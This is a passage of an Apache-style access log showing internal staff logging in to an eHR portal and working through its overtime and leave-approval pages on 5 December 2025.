(KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:48 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.157 - - [05/Dec/2025:16:55:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.157 - - [05/Dec/2025:16:55:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:55:48 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.40.34 - - [05/Dec/2025:16:56:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:16:56:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [05/Dec/2025:16:56:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:16:56:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [05/Dec/2025:16:56:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:16:56:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [05/Dec/2025:16:56:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [05/Dec/2025:16:56:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.108 - - [05/Dec/2025:16:59:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:16:59:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [05/Dec/2025:16:59:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:16:59:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.108 - - [05/Dec/2025:17:06:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12115 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:06:32 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12115 192.168.11.108 - - [05/Dec/2025:17:06:42 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:06:42 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 192.168.11.108 - - [05/Dec/2025:17:06:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:06:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:06:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 135456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:06:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 135456 100.64.0.1 - - [05/Dec/2025:17:33:45 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:17:33:45 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [05/Dec/2025:17:33:45 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [05/Dec/2025:17:33:45 +0800] "\x16\x03\x01" 501 205 192.168.11.80 - - [05/Dec/2025:17:45:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:45:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.80 - - [05/Dec/2025:17:45:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:45:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.80 - - [05/Dec/2025:17:45:29 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:45:29 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.80 - - [05/Dec/2025:17:45:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:45:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.80 - - [05/Dec/2025:17:45:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:45:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.80 - - [05/Dec/2025:17:45:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:45:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.80 - - [05/Dec/2025:17:46:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.815848651999862 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:46:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.815848651999862 HTTP/1.1" 200 8588 192.168.11.80 - - [05/Dec/2025:17:46:04 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.815848651999862 HTTP/1.1" 200 10764 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.815848651999862" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:46:04 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.815848651999862 HTTP/1.1" 200 10764 192.168.11.80 - - [05/Dec/2025:17:46:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:46:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 192.168.11.80 - - [05/Dec/2025:17:46:13 +0800] "GET /eHR/img/N.png HTTP/1.1" 200 1041 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:46:13 +0800] "GET /eHR/img/N.png HTTP/1.1" 200 1041 192.168.11.108 - - [05/Dec/2025:17:46:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:46:14 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.80 - - [05/Dec/2025:17:46:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:46:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.80 - - [05/Dec/2025:17:46:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:46:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.80 - - [05/Dec/2025:17:46:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.44609112916479643 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:46:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.44609112916479643 HTTP/1.1" 200 8588 192.168.11.80 - - [05/Dec/2025:17:46:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.44609112916479643 HTTP/1.1" 200 10764 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.44609112916479643" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:46:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.44609112916479643 HTTP/1.1" 200 10764 192.168.11.80 - - [05/Dec/2025:17:46:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:46:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 192.168.11.80 - - [05/Dec/2025:17:46:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:46:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.80 - - [05/Dec/2025:17:46:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:46:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.80 - - [05/Dec/2025:17:47:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10137226789391951 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:47:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10137226789391951 HTTP/1.1" 200 8588 192.168.11.80 - - [05/Dec/2025:17:47:04 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10137226789391951 HTTP/1.1" 200 10764 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10137226789391951" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:47:04 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.10137226789391951 HTTP/1.1" 200 10764 192.168.11.80 - - [05/Dec/2025:17:47:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4083 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:47:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4083 192.168.11.80 - - [05/Dec/2025:17:47:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:47:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.80 - - [05/Dec/2025:17:47:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:47:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 192.168.11.80 - - [05/Dec/2025:17:47:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11476 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:47:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 11476 192.168.11.80 - - [05/Dec/2025:17:47:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:47:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.80 - - [05/Dec/2025:17:47:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7383886344104518 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:47:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7383886344104518 HTTP/1.1" 200 8588 192.168.11.80 - - [05/Dec/2025:17:47:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7383886344104518 HTTP/1.1" 200 10764 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7383886344104518" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:47:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7383886344104518 HTTP/1.1" 200 10764 192.168.11.80 - - [05/Dec/2025:17:48:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:48:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 192.168.11.80 - - [05/Dec/2025:17:48:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.80 - - [05/Dec/2025:17:48:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.108 - - [05/Dec/2025:17:52:36 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:52:36 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:52:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:52:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [05/Dec/2025:17:52:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:52:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.11.108 - - [05/Dec/2025:17:54:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 135456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:54:23 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 135456 192.168.11.108 - - [05/Dec/2025:17:55:30 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:17:55:30 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:17:55:31 +0800] "GET 